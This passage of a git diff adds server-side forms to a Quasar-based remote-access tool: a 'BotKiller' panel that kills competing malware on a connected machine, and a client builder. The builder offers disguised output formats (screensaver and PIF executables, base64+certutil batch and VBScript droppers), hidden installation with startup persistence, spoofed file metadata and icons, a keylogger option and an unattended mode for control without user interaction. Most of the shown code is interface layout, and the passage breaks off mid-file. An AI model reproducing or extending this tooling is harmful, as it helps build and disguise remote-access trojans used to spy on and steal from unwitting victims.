this.columnMutex, + this.columnKilled}); + this.lstThreats.FullRowSelect = true; + this.lstThreats.GridLines = false; + this.lstThreats.HideSelection = false; + this.lstThreats.Location = new System.Drawing.Point(12, 32); + this.lstThreats.Name = "lstThreats"; + this.lstThreats.Size = new System.Drawing.Size(860, 250); + this.lstThreats.TabIndex = 0; + this.lstThreats.UseCompatibleStateImageBehavior = false; + this.lstThreats.View = System.Windows.Forms.View.Details; + // + // columnProcess + // + this.columnProcess.Text = "Process"; + this.columnProcess.Width = 120; + // + // columnPID + // + this.columnPID.Text = "PID"; + this.columnPID.Width = 60; + // + // columnPath + // + this.columnPath.Text = "File Path"; + this.columnPath.Width = 250; + // + // columnThreat + // + this.columnThreat.Text = "Threat Type"; + this.columnThreat.Width = 120; + // + // columnMutex + // + this.columnMutex.Text = "Mutex"; + this.columnMutex.Width = 200; + // + // columnKilled + // + this.columnKilled.Text = "Killed"; + this.columnKilled.Width = 60; + // + // txtLog + // + this.txtLog.BackColor = System.Drawing.Color.Black; + this.txtLog.Font = new System.Drawing.Font("Consolas", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.txtLog.ForeColor = System.Drawing.Color.White; + this.txtLog.Location = new System.Drawing.Point(12, 308); + this.txtLog.Name = "txtLog"; + this.txtLog.ReadOnly = true; + this.txtLog.Size = new System.Drawing.Size(860, 180); + this.txtLog.TabIndex = 1; + this.txtLog.Text = ""; + // + // btnScan + // + this.btnScan.Enabled = false; + this.btnScan.Location = new System.Drawing.Point(12, 494); + this.btnScan.Name = "btnScan"; + this.btnScan.Size = new System.Drawing.Size(100, 30); + this.btnScan.TabIndex = 2; + this.btnScan.Text = "Scan Again"; + this.btnScan.UseVisualStyleBackColor = true; + this.btnScan.Click += new System.EventHandler(this.btnScan_Click); + // + // btnClear + // + this.btnClear.Location = new System.Drawing.Point(118, 494); + this.btnClear.Name = "btnClear"; + this.btnClear.Size = new System.Drawing.Size(100, 30); + this.btnClear.TabIndex = 3; + this.btnClear.Text = "Clear"; + this.btnClear.UseVisualStyleBackColor = true; + this.btnClear.Click += new System.EventHandler(this.btnClear_Click); + // + // label1 + // + this.label1.AutoSize = true; + this.label1.Font = new System.Drawing.Font("Segoe UI", 9F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.label1.Location = new System.Drawing.Point(12, 9); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(103, 15); + this.label1.TabIndex = 4; + this.label1.Text = "Detected Threats:"; + // + // label2 + // + this.label2.AutoSize = true; + this.label2.Font = new System.Drawing.Font("Segoe UI", 9F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.label2.Location = new System.Drawing.Point(12, 290); + this.label2.Name = "label2"; + this.label2.Size = new System.Drawing.Size(31, 15); + this.label2.TabIndex = 5; + this.label2.Text = "Log:"; + // + // FrmBotKiller + // + this.AutoScaleDimensions = new System.Drawing.SizeF(96F, 96F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi; + this.ClientSize = new System.Drawing.Size(884, 536); + this.Controls.Add(this.label2); + this.Controls.Add(this.label1); + this.Controls.Add(this.btnClear); + this.Controls.Add(this.btnScan); + this.Controls.Add(this.txtLog); + this.Controls.Add(this.lstThreats); + this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog; + this.MaximizeBox = false; + this.Name = "FrmBotKiller"; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; + this.Text = "BotKiller"; + this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.FrmBotKiller_FormClosing); + this.Load += new System.EventHandler(this.FrmBotKiller_Load); + this.ResumeLayout(false); + this.PerformLayout(); + + } + + #endregion + + private System.Windows.Forms.ListView lstThreats; + private System.Windows.Forms.ColumnHeader columnProcess; + private System.Windows.Forms.ColumnHeader columnPID; + private System.Windows.Forms.ColumnHeader columnPath; + private System.Windows.Forms.ColumnHeader columnThreat; + private System.Windows.Forms.ColumnHeader columnMutex; + private System.Windows.Forms.ColumnHeader columnKilled; + private System.Windows.Forms.RichTextBox txtLog; + private System.Windows.Forms.Button btnScan; + private System.Windows.Forms.Button btnClear; + private System.Windows.Forms.Label label1; + private System.Windows.Forms.Label label2; + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmBotKiller.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmBotKiller.cs new file mode 100755 index 0000000..096f769 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmBotKiller.cs @@ -0,0 +1,110 @@ +using Quasar.Common.Messages; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Models; +using Quasar.Server.Networking; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Models; +using Quasar.Server.Utilities; +using System; +using System.Drawing; +using System.Windows.Forms; + +namespace Quasar.Server.Forms +{ + public partial class FrmBotKiller : Form + { + private readonly Client _client; + public static FrmBotKiller Instance { get; private set; } + + public FrmBotKiller(Client client) + { + _client = client; + Instance = this; + InitializeComponent(); + } + + private void FrmBotKiller_Load(object sender, EventArgs e) + { + if (Settings.DarkMode) { DarkModeManager.ApplyDarkMode(this); } + ThemeManager.ApplyThemeToNewForm(this); + this.Text = $"BotKiller - {_client.EndPoint}"; + AddLog($"Starting BotKiller scan on {_client.EndPoint}...", Color.Blue); + + // Send scan command + _client.Send(new DoBotKiller()); + } + + public void AddResult(Client client, BotKillerResult result) + { + if (client != _client) + return; + + if (InvokeRequired) + { + Invoke(new Action(() => AddResult(client, result))); + return; + } + + if (result.ProcessName == "SCAN_COMPLETE") + { + AddLog(result.Message, Color.Green); + btnScan.Enabled = true; + return; + } + + // Add threat to list + ListViewItem item = new ListViewItem(result.ProcessName); + item.SubItems.Add(result.ProcessId.ToString()); + item.SubItems.Add(result.FilePath); + item.SubItems.Add(result.ThreatType); + item.SubItems.Add(result.Mutex); + item.SubItems.Add(result.Killed ? "Yes" : "No"); + + if (result.Killed) + item.ForeColor = Color.Red; + else + item.ForeColor = Color.Orange; + + lstThreats.Items.Add(item); + + AddLog($"[{result.ThreatType}] {result.ProcessName} (PID: {result.ProcessId}) - {result.Message}", result.Killed ? Color.Red : Color.Orange); + } + + private void AddLog(string message, Color color) + { + if (InvokeRequired) + { + Invoke(new Action(() => AddLog(message, color))); + return; + } + + txtLog.SelectionStart = txtLog.TextLength; + txtLog.SelectionLength = 0; + txtLog.SelectionColor = color; + txtLog.AppendText($"[{DateTime.Now:HH:mm:ss}] {message}\r\n"); + txtLog.SelectionColor = txtLog.ForeColor; + txtLog.ScrollToCaret(); + } + + private void btnScan_Click(object sender, EventArgs e) + { + lstThreats.Items.Clear(); + txtLog.Clear(); + btnScan.Enabled = false; + + AddLog($"Starting BotKiller scan on {_client.EndPoint}...", Color.Blue); + _client.Send(new DoBotKiller()); + } + + private void btnClear_Click(object sender, EventArgs e) + { + lstThreats.Items.Clear(); + txtLog.Clear(); + } + + private void FrmBotKiller_FormClosing(object sender, FormClosingEventArgs e) + { + Instance = null; + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmBuilder.Designer.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmBuilder.Designer.cs new file mode 100755 index 0000000..13db979 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmBuilder.Designer.cs @@ -0,0 +1,1405 @@ +using Quasar.Server.Controls; + +namespace Quasar.Server.Forms +{ + partial class FrmBuilder + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.components = new System.ComponentModel.Container(); + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FrmBuilder)); + this.btnBuild = new System.Windows.Forms.Button(); + this.btnSaveProfile = new System.Windows.Forms.Button(); + this.btnOpenBuildsFolder = new System.Windows.Forms.Button(); + this.cmbOutputFormat = new System.Windows.Forms.ComboBox(); + this.lblOutputFormat = new System.Windows.Forms.Label(); + this.tooltip = new System.Windows.Forms.ToolTip(this.components); + this.picUAC2 = new System.Windows.Forms.PictureBox(); + this.picUAC1 = new System.Windows.Forms.PictureBox(); + this.rbSystem = new System.Windows.Forms.RadioButton(); + this.rbProgramFiles = new System.Windows.Forms.RadioButton(); + this.contextMenuStrip = new System.Windows.Forms.ContextMenuStrip(this.components); + this.removeHostToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.clearToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.builderTabs = new Quasar.Server.Controls.DotNetBarTabControl(); + this.generalPage = new System.Windows.Forms.TabPage(); + this.label3 = new System.Windows.Forms.Label(); + this.chkUnattendedMode = new System.Windows.Forms.CheckBox(); + this.line2 = new Quasar.Server.Controls.Line(); + this.label2 = new System.Windows.Forms.Label(); + this.label9 = new System.Windows.Forms.Label(); + this.line6 = new Quasar.Server.Controls.Line(); + this.label8 = new System.Windows.Forms.Label(); + this.txtTag = new System.Windows.Forms.TextBox(); + this.label7 = new System.Windows.Forms.Label(); + this.lblTag = new System.Windows.Forms.Label(); + this.txtMutex = new System.Windows.Forms.TextBox(); + this.btnMutex = new System.Windows.Forms.Button(); + this.line5 = new Quasar.Server.Controls.Line(); + this.lblMutex = new System.Windows.Forms.Label(); + this.label6 = new System.Windows.Forms.Label(); + this.connectionPage = new System.Windows.Forms.TabPage(); + this.numericUpDownPort = new System.Windows.Forms.NumericUpDown(); + this.numericUpDownDelay = new System.Windows.Forms.NumericUpDown(); + this.line3 = new Quasar.Server.Controls.Line(); + this.label4 = new System.Windows.Forms.Label(); + this.line1 = new Quasar.Server.Controls.Line(); + this.label1 = new System.Windows.Forms.Label(); + this.lstHosts = new System.Windows.Forms.ListBox(); + this.btnAddHost = new System.Windows.Forms.Button(); + this.lblMS = new System.Windows.Forms.Label(); + this.lblHost = new System.Windows.Forms.Label(); + this.txtHost = new System.Windows.Forms.TextBox(); + this.lblDelay = new System.Windows.Forms.Label(); + this.lblPort = new System.Windows.Forms.Label(); + this.installationPage = new System.Windows.Forms.TabPage(); + this.chkHideSubDirectory = new System.Windows.Forms.CheckBox(); + this.line7 = new Quasar.Server.Controls.Line(); + this.label10 = new System.Windows.Forms.Label(); + this.line4 = new Quasar.Server.Controls.Line(); + this.label5 = new System.Windows.Forms.Label(); + this.chkInstall = new System.Windows.Forms.CheckBox(); + this.lblInstallName = new System.Windows.Forms.Label(); + this.txtInstallName = new System.Windows.Forms.TextBox(); + this.txtRegistryKeyName = new System.Windows.Forms.TextBox(); + this.lblExtension = new System.Windows.Forms.Label(); + this.lblRegistryKeyName = new System.Windows.Forms.Label(); + this.chkStartup = new System.Windows.Forms.CheckBox(); + this.rbAppdata = new System.Windows.Forms.RadioButton(); + this.chkHide = new System.Windows.Forms.CheckBox(); + this.lblInstallDirectory = new System.Windows.Forms.Label(); + this.lblInstallSubDirectory = new System.Windows.Forms.Label(); + this.lblPreviewPath = new System.Windows.Forms.Label(); + this.txtInstallSubDirectory = new System.Windows.Forms.TextBox(); + this.txtPreviewPath = new System.Windows.Forms.TextBox(); + this.assemblyPage = new System.Windows.Forms.TabPage(); + this.iconPreview = new System.Windows.Forms.PictureBox(); + this.btnBrowseIcon = new System.Windows.Forms.Button(); + this.txtIconPath = new System.Windows.Forms.TextBox(); + this.line8 = new Quasar.Server.Controls.Line(); + this.label11 = new System.Windows.Forms.Label(); + this.chkChangeAsmInfo = new System.Windows.Forms.CheckBox(); + this.txtFileVersion = new System.Windows.Forms.TextBox(); + this.line9 = new Quasar.Server.Controls.Line(); + this.lblProductName = new System.Windows.Forms.Label(); + this.label12 = new System.Windows.Forms.Label(); + this.chkChangeIcon = new System.Windows.Forms.CheckBox(); + this.lblFileVersion = new System.Windows.Forms.Label(); + this.txtProductName = new System.Windows.Forms.TextBox(); + this.txtProductVersion = new System.Windows.Forms.TextBox(); + this.lblDescription = new System.Windows.Forms.Label(); + this.lblProductVersion = new System.Windows.Forms.Label(); + this.txtDescription = new System.Windows.Forms.TextBox(); + this.txtOriginalFilename = new System.Windows.Forms.TextBox(); + this.lblCompanyName = new System.Windows.Forms.Label(); + this.lblOriginalFilename = new System.Windows.Forms.Label(); + this.txtCompanyName = new System.Windows.Forms.TextBox(); + this.txtTrademarks = new System.Windows.Forms.TextBox(); + this.lblCopyright = new System.Windows.Forms.Label(); + this.lblTrademarks = new System.Windows.Forms.Label(); + this.txtCopyright = new System.Windows.Forms.TextBox(); + this.monitoringTab = new System.Windows.Forms.TabPage(); + this.chkHideLogDirectory = new System.Windows.Forms.CheckBox(); + this.txtLogDirectoryName = new System.Windows.Forms.TextBox(); + this.lblLogDirectory = new System.Windows.Forms.Label(); + this.line10 = new Quasar.Server.Controls.Line(); + this.label14 = new System.Windows.Forms.Label(); + this.chkKeylogger = new System.Windows.Forms.CheckBox(); + ((System.ComponentModel.ISupportInitialize)(this.picUAC2)).BeginInit(); + ((System.ComponentModel.ISupportInitialize)(this.picUAC1)).BeginInit(); + this.contextMenuStrip.SuspendLayout(); + this.builderTabs.SuspendLayout(); + this.generalPage.SuspendLayout(); + this.connectionPage.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.numericUpDownPort)).BeginInit(); + ((System.ComponentModel.ISupportInitialize)(this.numericUpDownDelay)).BeginInit(); + this.installationPage.SuspendLayout(); + this.assemblyPage.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.iconPreview)).BeginInit(); + this.monitoringTab.SuspendLayout(); + this.SuspendLayout(); + // + // btnBuild + // + this.btnBuild.ForeColor = System.Drawing.Color.White; + this.btnBuild.Location = new System.Drawing.Point(173, 471); + this.btnBuild.Margin = new System.Windows.Forms.Padding(0); + this.btnBuild.Name = "btnBuild"; + this.btnBuild.Size = new System.Drawing.Size(151, 29); + this.btnBuild.TabIndex = 1; + this.btnBuild.Text = "Build Client"; + this.btnBuild.UseVisualStyleBackColor = true; + this.btnBuild.Click += new System.EventHandler(this.btnBuild_Click); + // + // btnSaveProfile + // + this.btnSaveProfile.ForeColor = System.Drawing.Color.White; + this.btnSaveProfile.Location = new System.Drawing.Point(684, 473); + this.btnSaveProfile.Margin = new System.Windows.Forms.Padding(0); + this.btnSaveProfile.Name = "btnSaveProfile"; + this.btnSaveProfile.Size = new System.Drawing.Size(164, 28); + this.btnSaveProfile.TabIndex = 3; + this.btnSaveProfile.Text = "Save Profile"; + this.btnSaveProfile.UseVisualStyleBackColor = true; + this.btnSaveProfile.Click += new System.EventHandler(this.btnSaveProfile_Click); + // + // btnOpenBuildsFolder + // + this.btnOpenBuildsFolder.ForeColor = System.Drawing.Color.White; + this.btnOpenBuildsFolder.Location = new System.Drawing.Point(9, 471); + this.btnOpenBuildsFolder.Margin = new System.Windows.Forms.Padding(0); + this.btnOpenBuildsFolder.Name = "btnOpenBuildsFolder"; + this.btnOpenBuildsFolder.Size = new System.Drawing.Size(151, 29); + this.btnOpenBuildsFolder.TabIndex = 2; + this.btnOpenBuildsFolder.Text = "Open Builds Folder"; + this.btnOpenBuildsFolder.UseVisualStyleBackColor = true; + this.btnOpenBuildsFolder.Click += new System.EventHandler(this.btnOpenBuildsFolder_Click); + // + // cmbOutputFormat + // + this.cmbOutputFormat.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList; + this.cmbOutputFormat.FormattingEnabled = true; + this.cmbOutputFormat.Items.AddRange(new object[] { + ".exe - Standard PE executable", + ".scr - Screensaver, runs as exe by Windows", + ".pif - Program Info File, executed as PE", + ".com - DOS-style, runs as PE on modern Windows", + ".bat - Batch dropper, base64+certutil self-extract", + ".vbs - VBScript dropper, base64+certutil self-extract"}); + this.cmbOutputFormat.Location = new System.Drawing.Point(332, 473); + this.cmbOutputFormat.Name = "cmbOutputFormat"; + this.cmbOutputFormat.Size = new System.Drawing.Size(340, 27); + this.cmbOutputFormat.TabIndex = 51; + // + // lblOutputFormat + // + this.lblOutputFormat.AutoSize = true; + this.lblOutputFormat.Location = new System.Drawing.Point(332, 477); + this.lblOutputFormat.Name = "lblOutputFormat"; + this.lblOutputFormat.Size = new System.Drawing.Size(0, 19); + this.lblOutputFormat.TabIndex = 50; + this.lblOutputFormat.Visible = false; + // + // picUAC2 + // + this.picUAC2.Image = global::Quasar.Server.Properties.Resources.shield; + this.picUAC2.Location = new System.Drawing.Point(454, 110); + this.picUAC2.Margin = new System.Windows.Forms.Padding(4); + this.picUAC2.Name = "picUAC2"; + this.picUAC2.Size = new System.Drawing.Size(16, 20); + this.picUAC2.SizeMode = System.Windows.Forms.PictureBoxSizeMode.AutoSize; + this.picUAC2.TabIndex = 32; + this.picUAC2.TabStop = false; + this.tooltip.SetToolTip(this.picUAC2, "Administrator Privileges are required to install the client in System."); + // + // picUAC1 + // + this.picUAC1.Image = global::Quasar.Server.Properties.Resources.shield; + this.picUAC1.Location = new System.Drawing.Point(454, 85); + this.picUAC1.Margin = new System.Windows.Forms.Padding(4); + this.picUAC1.Name = "picUAC1"; + this.picUAC1.Size = new System.Drawing.Size(16, 20); + this.picUAC1.SizeMode = System.Windows.Forms.PictureBoxSizeMode.AutoSize; + this.picUAC1.TabIndex = 31; + this.picUAC1.TabStop = false; + this.tooltip.SetToolTip(this.picUAC1, "Administrator Privileges are required to install the client in Program Files."); + // + // rbSystem + // + this.rbSystem.AutoSize = true; + this.rbSystem.Location = new System.Drawing.Point(301, 114); + this.rbSystem.Margin = new System.Windows.Forms.Padding(4); + this.rbSystem.Name = "rbSystem"; + this.rbSystem.Size = new System.Drawing.Size(74, 23); + this.rbSystem.TabIndex = 5; + this.rbSystem.TabStop = true; + this.rbSystem.Text = "System"; + this.tooltip.SetToolTip(this.rbSystem, "Administrator Privileges are required to install the client in System."); + this.rbSystem.UseVisualStyleBackColor = true; + this.rbSystem.CheckedChanged += new System.EventHandler(this.HasChangedSettingAndFilePath); + // + // rbProgramFiles + // + this.rbProgramFiles.AutoSize = true; + this.rbProgramFiles.Location = new System.Drawing.Point(301, 85); + this.rbProgramFiles.Margin = new System.Windows.Forms.Padding(4); + this.rbProgramFiles.Name = "rbProgramFiles"; + this.rbProgramFiles.Size = new System.Drawing.Size(113, 23); + this.rbProgramFiles.TabIndex = 4; + this.rbProgramFiles.TabStop = true; + this.rbProgramFiles.Text = "Program Files"; + this.tooltip.SetToolTip(this.rbProgramFiles, "Administrator Privileges are required to install the client in Program Files."); + this.rbProgramFiles.UseVisualStyleBackColor = true; + this.rbProgramFiles.CheckedChanged += new System.EventHandler(this.HasChangedSettingAndFilePath); + // + // contextMenuStrip + // + this.contextMenuStrip.ImageScalingSize = new System.Drawing.Size(16, 16); + this.contextMenuStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.removeHostToolStripMenuItem, + this.clearToolStripMenuItem}); + this.contextMenuStrip.Name = "ctxtMenuHosts"; + this.contextMenuStrip.Size = new System.Drawing.Size(169, 56); + // + // removeHostToolStripMenuItem + // + this.removeHostToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.delete; + this.removeHostToolStripMenuItem.Name = "removeHostToolStripMenuItem"; + this.removeHostToolStripMenuItem.Size = new System.Drawing.Size(168, 26); + this.removeHostToolStripMenuItem.Text = "Remove host"; + this.removeHostToolStripMenuItem.Click += new System.EventHandler(this.removeHostToolStripMenuItem_Click); + // + // clearToolStripMenuItem + // + this.clearToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.broom; + this.clearToolStripMenuItem.Name = "clearToolStripMenuItem"; + this.clearToolStripMenuItem.Size = new System.Drawing.Size(168, 26); + this.clearToolStripMenuItem.Text = "Clear all"; + this.clearToolStripMenuItem.Click += new System.EventHandler(this.clearToolStripMenuItem_Click); + // + // builderTabs + // + this.builderTabs.Alignment = System.Windows.Forms.TabAlignment.Left; + this.builderTabs.Controls.Add(this.generalPage); + this.builderTabs.Controls.Add(this.connectionPage); + this.builderTabs.Controls.Add(this.installationPage); + this.builderTabs.Controls.Add(this.assemblyPage); + this.builderTabs.Controls.Add(this.monitoringTab); + this.builderTabs.Dock = System.Windows.Forms.DockStyle.Top; + this.builderTabs.ItemSize = new System.Drawing.Size(44, 136); + this.builderTabs.Location = new System.Drawing.Point(0, 0); + this.builderTabs.Margin = new System.Windows.Forms.Padding(4); + this.builderTabs.Multiline = true; + this.builderTabs.Name = "builderTabs"; + this.builderTabs.SelectedIndex = 0; + this.builderTabs.Size = new System.Drawing.Size(957, 467); + this.builderTabs.SizeMode = System.Windows.Forms.TabSizeMode.Fixed; + this.builderTabs.TabIndex = 0; + // + // generalPage + // + this.generalPage.BackColor = System.Drawing.Color.Transparent; + this.generalPage.Controls.Add(this.label3); + this.generalPage.Controls.Add(this.chkUnattendedMode); + this.generalPage.Controls.Add(this.line2); + this.generalPage.Controls.Add(this.label2); + this.generalPage.Controls.Add(this.label9); + this.generalPage.Controls.Add(this.line6); + this.generalPage.Controls.Add(this.label8); + this.generalPage.Controls.Add(this.txtTag); + this.generalPage.Controls.Add(this.label7); + this.generalPage.Controls.Add(this.lblTag); + this.generalPage.Controls.Add(this.txtMutex); + this.generalPage.Controls.Add(this.btnMutex); + this.generalPage.Controls.Add(this.line5); + this.generalPage.Controls.Add(this.lblMutex); + this.generalPage.Controls.Add(this.label6); + this.generalPage.ForeColor = System.Drawing.Color.White; + this.generalPage.Location = new System.Drawing.Point(140, 4); + this.generalPage.Margin = new System.Windows.Forms.Padding(4); + this.generalPage.Name = "generalPage"; + this.generalPage.Padding = new System.Windows.Forms.Padding(4); + this.generalPage.Size = new System.Drawing.Size(813, 459); + this.generalPage.TabIndex = 4; + this.generalPage.Text = "Basic Settings"; + // + // label3 + // + this.label3.AutoSize = true; + this.label3.Location = new System.Drawing.Point(21, 268); + this.label3.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.label3.Name = "label3"; + this.label3.Size = new System.Drawing.Size(420, 38); + this.label3.TabIndex = 24; + this.label3.Text = "Activating the unattended mode allows remote control of the client\r\nwithout user " + + "interaction."; + // + // chkUnattendedMode + // + this.chkUnattendedMode.AutoSize = true; + this.chkUnattendedMode.Location = new System.Drawing.Point(25, 315); + this.chkUnattendedMode.Margin = new System.Windows.Forms.Padding(4); + this.chkUnattendedMode.Name = "chkUnattendedMode"; + this.chkUnattendedMode.Size = new System.Drawing.Size(185, 23); + this.chkUnattendedMode.TabIndex = 23; + this.chkUnattendedMode.Text = "Enable unattended mode"; + this.chkUnattendedMode.UseVisualStyleBackColor = true; + this.chkUnattendedMode.CheckedChanged += new System.EventHandler(this.HasChangedSetting); + // + // line2 + // + this.line2.LineAlignment = Quasar.Server.Controls.Line.Alignment.Horizontal; + this.line2.Location = new System.Drawing.Point(144, 245); + this.line2.Margin = new System.Windows.Forms.Padding(4); + this.line2.Name = "line2"; + this.line2.Size = new System.Drawing.Size(338, 16); + this.line2.TabIndex = 22; + this.line2.TabStop = false; + // + // label2 + // + this.label2.AutoSize = true; + this.label2.Location = new System.Drawing.Point(10, 245); + this.label2.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.label2.Name = "label2"; + this.label2.Size = new System.Drawing.Size(121, 19); + this.label2.TabIndex = 21; + this.label2.Text = "Unattended mode"; + // + // label9 + // + this.label9.AutoSize = true; + this.label9.Location = new System.Drawing.Point(21, 118); + this.label9.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.label9.Name = "label9"; + this.label9.Size = new System.Drawing.Size(438, 38); + this.label9.TabIndex = 5; + this.label9.Text = "A unique mutex ensures that only one instance of the client is running\r\non the sa" + + "me system."; + // + // line6 + // + this.line6.LineAlignment = Quasar.Server.Controls.Line.Alignment.Horizontal; + this.line6.Location = new System.Drawing.Point(106, 98); + this.line6.Margin = new System.Windows.Forms.Padding(4); + this.line6.Name = "line6"; + this.line6.Size = new System.Drawing.Size(375, 16); + this.line6.TabIndex = 20; + this.line6.TabStop = false; + // + // label8 + // + this.label8.AutoSize = true; + this.label8.Location = new System.Drawing.Point(8, 98); + this.label8.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.label8.Name = "label8"; + this.label8.Size = new System.Drawing.Size(98, 19); + this.label8.TabIndex = 4; + this.label8.Text = "Process Mutex"; + // + // txtTag + // + this.txtTag.Location = new System.Drawing.Point(162, 50); + this.txtTag.Margin = new System.Windows.Forms.Padding(4); + this.txtTag.Name = "txtTag"; + this.txtTag.Size = new System.Drawing.Size(318, 26); + this.txtTag.TabIndex = 3; + this.txtTag.TextChanged += new System.EventHandler(this.HasChangedSetting); + // + // label7 + // + this.label7.AutoSize = true; + this.label7.Location = new System.Drawing.Point(21, 25); + this.label7.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.label7.Name = "label7"; + this.label7.Size = new System.Drawing.Size(276, 19); + this.label7.TabIndex = 1; + this.label7.Text = "You can choose a tag to identify your client."; + // + // lblTag + // + this.lblTag.AutoSize = true; + this.lblTag.Location = new System.Drawing.Point(21, 54); + this.lblTag.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.lblTag.Name = "lblTag"; + this.lblTag.Size = new System.Drawing.Size(71, 19); + this.lblTag.TabIndex = 2; + this.lblTag.Text = "Client Tag:"; + // + // txtMutex + // + this.txtMutex.Location = new System.Drawing.Point(162, 162); + this.txtMutex.Margin = new System.Windows.Forms.Padding(4); + this.txtMutex.MaxLength = 64; + this.txtMutex.Name = "txtMutex"; + this.txtMutex.Size = new System.Drawing.Size(315, 26); + this.txtMutex.TabIndex = 7; + this.txtMutex.TextChanged += new System.EventHandler(this.HasChangedSetting); + // + // btnMutex + // + this.btnMutex.Location = new System.Drawing.Point(328, 198); + this.btnMutex.Margin = new System.Windows.Forms.Padding(4); + this.btnMutex.Name = "btnMutex"; + this.btnMutex.Size = new System.Drawing.Size(151, 29); + this.btnMutex.TabIndex = 8; + this.btnMutex.Text = "Random Mutex"; + this.btnMutex.UseVisualStyleBackColor = true; + this.btnMutex.Click += new System.EventHandler(this.btnMutex_Click); + // + // line5 + // + this.line5.LineAlignment = Quasar.Server.Controls.Line.Alignment.Horizontal; + this.line5.Location = new System.Drawing.Point(140, 6); + this.line5.Margin = new System.Windows.Forms.Padding(4); + this.line5.Name = "line5"; + this.line5.Size = new System.Drawing.Size(339, 16); + this.line5.TabIndex = 15; + this.line5.TabStop = false; + // + // lblMutex + // + this.lblMutex.AutoSize = true; + this.lblMutex.Location = new System.Drawing.Point(21, 166); + this.lblMutex.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.lblMutex.Name = "lblMutex"; + this.lblMutex.Size = new System.Drawing.Size(51, 19); + this.lblMutex.TabIndex = 6; + this.lblMutex.Text = "Mutex:"; + // + // label6 + // + this.label6.AutoSize = true; + this.label6.Location = new System.Drawing.Point(8, 6); + this.label6.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.label6.Name = "label6"; + this.label6.Size = new System.Drawing.Size(127, 19); + this.label6.TabIndex = 0; + this.label6.Text = "Client Identification"; + // + // connectionPage + // + this.connectionPage.BackColor = System.Drawing.SystemColors.Window; + this.connectionPage.Controls.Add(this.numericUpDownPort); + this.connectionPage.Controls.Add(this.numericUpDownDelay); + this.connectionPage.Controls.Add(this.line3); + this.connectionPage.Controls.Add(this.label4); + this.connectionPage.Controls.Add(this.line1); + this.connectionPage.Controls.Add(this.label1); + this.connectionPage.Controls.Add(this.lstHosts); + this.connectionPage.Controls.Add(this.btnAddHost); + this.connectionPage.Controls.Add(this.lblMS); + this.connectionPage.Controls.Add(this.lblHost); + this.connectionPage.Controls.Add(this.txtHost); + this.connectionPage.Controls.Add(this.lblDelay); + this.connectionPage.Controls.Add(this.lblPort); + this.connectionPage.ForeColor = System.Drawing.Color.White; + this.connectionPage.Location = new System.Drawing.Point(140, 4); + this.connectionPage.Margin = new System.Windows.Forms.Padding(4); + this.connectionPage.Name = "connectionPage"; + this.connectionPage.Padding = new System.Windows.Forms.Padding(4); + this.connectionPage.Size = new System.Drawing.Size(525, 459); + this.connectionPage.TabIndex = 0; + this.connectionPage.Text = "Connection Settings"; + // + // numericUpDownPort + // + this.numericUpDownPort.Location = new System.Drawing.Point(318, 64); + this.numericUpDownPort.Margin = new System.Windows.Forms.Padding(4); + this.numericUpDownPort.Maximum = new decimal(new int[] { + 65535, + 0, + 0, + 0}); + this.numericUpDownPort.Minimum = new decimal(new int[] { + 1, + 0, + 0, + 0}); + this.numericUpDownPort.Name = "numericUpDownPort"; + this.numericUpDownPort.Size = new System.Drawing.Size(161, 26); + this.numericUpDownPort.TabIndex = 3; + this.numericUpDownPort.Value = new decimal(new int[] { + 1, + 0, + 0, + 0}); + // + // numericUpDownDelay + // + this.numericUpDownDelay.Location = new System.Drawing.Point(345, 222); + this.numericUpDownDelay.Margin = new System.Windows.Forms.Padding(4); + this.numericUpDownDelay.Maximum = new decimal(new int[] { + 600000, + 0, + 0, + 0}); + this.numericUpDownDelay.Name = "numericUpDownDelay"; + this.numericUpDownDelay.Size = new System.Drawing.Size(100, 26); + this.numericUpDownDelay.TabIndex = 10; + this.numericUpDownDelay.Value = new decimal(new int[] { + 5000, + 0, + 0, + 0}); + this.numericUpDownDelay.ValueChanged += new System.EventHandler(this.HasChangedSetting); + // + // line3 + // + this.line3.LineAlignment 